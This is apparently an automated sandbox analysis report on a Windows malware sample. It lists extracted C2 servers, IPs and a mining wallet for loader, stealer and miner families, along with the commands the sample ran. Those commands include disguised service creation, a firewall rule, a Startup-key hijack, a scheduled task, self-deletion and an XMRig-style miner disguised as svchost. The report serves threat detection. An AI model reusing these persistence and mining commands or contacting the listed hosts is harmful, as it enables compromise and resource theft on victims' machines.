Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20/12/2021, 11:07

General

  • Target
    9829a7b1f6d1ef184b90893b8061c9f6.exe
  • Size 324KB
  • Sample211220-m7zyesbbep
  • SHA256 7b3804ea5ffe8b354e7e463e2336ce4af8a27eb6bf0c6e64a2f024b9734a463f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • mubrikych.top

  • oxxyfix.xyz

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 86.107.197.138:38133

Extracted

Family
  • amadey

Version
  • 2.86

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Extracted

Family
  • redline

Botnet
  • install

C2
  • 62.182.156.187:56323

Extracted

Family
  • redline

Botnet
  • 444

C2
  • 31.131.254.105:1498

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 16 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9829a7b1f6d1ef184b90893b8061c9f6.exe
    "C:\Users\Admin\AppData\Local\Temp\9829a7b1f6d1ef184b90893b8061c9f6.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Users\Admin\AppData\Local\Temp\9829a7b1f6d1ef184b90893b8061c9f6.exe
      "C:\Users\Admin\AppData\Local\Temp\9829a7b1f6d1ef184b90893b8061c9f6.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:4580
  • C:\Users\Admin\AppData\Local\Temp\B08F.exe
    C:\Users\Admin\AppData\Local\Temp\B08F.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:4692
  • C:\Users\Admin\AppData\Local\Temp\642.exe
    C:\Users\Admin\AppData\Local\Temp\642.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Users\Admin\AppData\Local\Temp\642.exe
      C:\Users\Admin\AppData\Local\Temp\642.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1360
  • C:\Users\Admin\AppData\Local\Temp\1585.exe
    C:\Users\Admin\AppData\Local\Temp\1585.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1585.exe" & exit
      2⤵
        PID:3700
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:2164
    • C:\Users\Admin\AppData\Local\Temp\1BC0.exe
      C:\Users\Admin\AppData\Local\Temp\1BC0.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1208
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hffbqglz\
        2⤵
          PID:816
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dzhfsqpw.exe" C:\Windows\SysWOW64\hffbqglz\
          2⤵
            PID:3720
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create hffbqglz binPath= "C:\Windows\SysWOW64\hffbqglz\dzhfsqpw.exe /d\"C:\Users\Admin\AppData\Local\Temp\1BC0.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:3600
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description hffbqglz "wifi internet conection"
              2⤵
                PID:1592
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start hffbqglz
                2⤵
                  PID:2368
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:5068
                • C:\Users\Admin\AppData\Local\Temp\2045.exe
                  C:\Users\Admin\AppData\Local\Temp\2045.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1528
                  • C:\Users\Admin\AppData\Local\Temp\2045.exe
                    C:\Users\Admin\AppData\Local\Temp\2045.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2672
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                  • Accesses Microsoft Outlook profiles
                  • outlook_office_path
                  • outlook_win_path
                  PID:1744
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:2068
                  • C:\Users\Admin\AppData\Local\Temp\2AB6.exe
                    C:\Users\Admin\AppData\Local\Temp\2AB6.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2424
                    • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                      "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:60
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                        3⤵
                          PID:3068
                          • C:\Windows\SysWOW64\reg.exe
                            REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                            4⤵
                              PID:2780
                          • C:\Windows\SysWOW64\schtasks.exe
                            "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                            3⤵
                            • Creates scheduled task(s)
                            PID:2904
                      • C:\Users\Admin\AppData\Local\Temp\3601.exe
                        C:\Users\Admin\AppData\Local\Temp\3601.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2588
                        • C:\Users\Admin\AppData\Local\Temp\3601.exe
                          C:\Users\Admin\AppData\Local\Temp\3601.exe
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4252
                      • C:\Users\Admin\AppData\Local\Temp\44B8.exe
                        C:\Users\Admin\AppData\Local\Temp\44B8.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • Suspicious use of SetThreadContext
                        PID:1276
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                          2⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4996
                      • C:\Users\Admin\AppData\Local\Temp\53AD.exe
                        C:\Users\Admin\AppData\Local\Temp\53AD.exe
                        1⤵
                        • Executes dropped EXE
                        PID:3524
                        • C:\Windows\system32\cmd.exe
                          cmd /C C:\Users\Admin\AppData\Roaming\\counterstrike.exe
                          2⤵
                            PID:380
                            • C:\Users\Admin\AppData\Roaming\counterstrike.exe
                              C:\Users\Admin\AppData\Roaming\\counterstrike.exe
                              3⤵
                              • Executes dropped EXE
                              PID:4780
                        • C:\Windows\SysWOW64\hffbqglz\dzhfsqpw.exe
                          C:\Windows\SysWOW64\hffbqglz\dzhfsqpw.exe /d"C:\Users\Admin\AppData\Local\Temp\1BC0.exe"
                          1⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:4764
                          • C:\Windows\SysWOW64\svchost.exe
                            svchost.exe
                            2⤵
                            • Drops file in System32 directory
                            • Suspicious use of SetThreadContext
                            • Modifies data under HKEY_USERS
                            PID:4284
                            • C:\Windows\SysWOW64\svchost.exe
                              svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4720
                        • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                          C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                          1⤵
                          • Executes dropped EXE
                          PID:4628

                        Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              memory/60-246-0x0000000000400000-0x00000000004D6000-memory.dmp

                              memory/60-245-0x0000000000610000-0x000000000075A000-memory.dmp

                              memory/648-134-0x0000000000766000-0x0000000000777000-memory.dmp

                              memory/952-154-0x0000000000630000-0x000000000064C000-memory.dmp

                              memory/952-155-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1208-172-0x0000000000400000-0x00000000004D1000-memory.dmp

                              memory/1208-171-0x00000000004E0000-0x000000000062A000-memory.dmp

                              memory/1208-168-0x00000000008A6000-0x00000000008B7000-memory.dmp

                              memory/1276-213-0x0000000000960000-0x0000000000961000-memory.dmp

                              memory/1276-207-0x00000000003E0000-0x00000000003E1000-memory.dmp

                              memory/1276-214-0x0000000000970000-0x0000000000971000-memory.dmp

                              memory/1276-217-0x0000000000820000-0x000000000096A000-memory.dmp

                              memory/1276-209-0x0000000000920000-0x0000000000921000-memory.dmp

                              memory/1276-216-0x0000000001090000-0x0000000001B41000-memory.dmp

                              memory/1276-206-0x00000000003C0000-0x00000000003C1000-memory.dmp

                              memory/1276-212-0x0000000000950000-0x0000000000951000-memory.dmp

                              memory/1276-211-0x0000000000940000-0x0000000000941000-memory.dmp

                              memory/1276-210-0x0000000000930000-0x0000000000931000-memory.dmp

                              memory/1528-143-0x0000000000C60000-0x0000000000C61000-memory.dmp

                              memory/1528-146-0x00000000054D0000-0x00000000054D1000-memory.dmp

                              memory/1528-147-0x00000000054B0000-0x00000000054B1000-memory.dmp

                              memory/1528-149-0x00000000055C0000-0x00000000055C1000-memory.dmp

                              memory/1528-151-0x0000000002F30000-0x0000000002F31000-memory.dmp

                              memory/1528-161-0x0000000005D80000-0x0000000005D81000-memory.dmp

                              memory/1744-152-0x0000000000490000-0x0000000000504000-memory.dmp

                              memory/1744-158-0x0000000000420000-0x000000000048B000-memory.dmp

                              memory/2024-126-0x0000000002500000-0x0000000002516000-memory.dmp

                              memory/2024-162-0x0000000004AE0000-0x0000000004AF6000-memory.dmp

                              memory/2024-119-0x0000000000740000-0x0000000000756000-memory.dmp

                              memory/2068-159-0x0000000000970000-0x0000000000977000-memory.dmp

                              memory/2068-160-0x0000000000960000-0x000000000096C000-memory.dmp

                              memory/2424-188-0x0000000000400000-0x00000000004D6000-memory.dmp

                              memory/2424-187-0x0000000002130000-0x0000000002168000-memory.dmp

                              memory/2588-169-0x00000000056B0000-0x00000000056B1000-memory.dmp

                              memory/2588-166-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

                              memory/2588-170-0x0000000005590000-0x0000000005591000-memory.dmp

                              memory/2672-180-0x0000000005590000-0x0000000005591000-memory.dmp

                              memory/2672-186-0x00000000053F0000-0x00000000059F6000-memory.dmp

                              memory/2672-235-0x0000000005940000-0x0000000005941000-memory.dmp

                              memory/2672-178-0x0000000005A00000-0x0000000005A01000-memory.dmp

                              memory/2672-179-0x0000000005460000-0x0000000005461000-memory.dmp

                              memory/2672-199-0x0000000005500000-0x0000000005501000-memory.dmp

                              memory/2672-173-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/2672-182-0x00000000054C0000-0x00000000054C1000-memory.dmp

                              memory/4160-118-0x0000000000530000-0x0000000000539000-memory.dmp

                              memory/4252-253-0x0000000007400000-0x0000000007401000-memory.dmp

                              memory/4252-189-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/4252-201-0x00000000051B0000-0x00000000057B6000-memory.dmp

                              memory/4252-234-0x00000000055D0000-0x00000000055D1000-memory.dmp

                              memory/4252-250-0x0000000006AE0000-0x0000000006AE1000-memory.dmp

                              memory/4252-251-0x0000000006D00000-0x0000000006D01000-memory.dmp

                              memory/4284-256-0x0000000000A50000-0x0000000000A65000-memory.dmp

                              memory/4284-259-0x0000000000760000-0x0000000000761000-memory.dmp

                              memory/4284-260-0x0000000000760000-0x0000000000761000-memory.dmp

                              memory/4580-116-0x0000000000400000-0x0000000000409000-memory.dmp

                              memory/4628-276-0x0000000000620000-0x000000000076A000-memory.dmp

                              memory/4628-277-0x0000000000400000-0x00000000004D6000-memory.dmp

                              memory/4628-274-0x000000000079B000-0x00000000007B9000-memory.dmp

                              memory/4692-124-0x0000000000520000-0x0000000000529000-memory.dmp

                              memory/4692-125-0x0000000000400000-0x00000000004CD000-memory.dmp

                              memory/4692-123-0x00000000006D6000-0x00000000006E7000-memory.dmp

                              memory/4720-272-0x0000000000600000-0x00000000006F1000-memory.dmp

                              memory/4720-267-0x0000000000600000-0x00000000006F1000-memory.dmp

                              memory/4764-261-0x0000000000640000-0x0000000000653000-memory.dmp

                              memory/4764-262-0x0000000000400000-0x00000000004D1000-memory.dmp

                              memory/4996-278-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/4996-291-0x0000000005470000-0x0000000005A76000-memory.dmp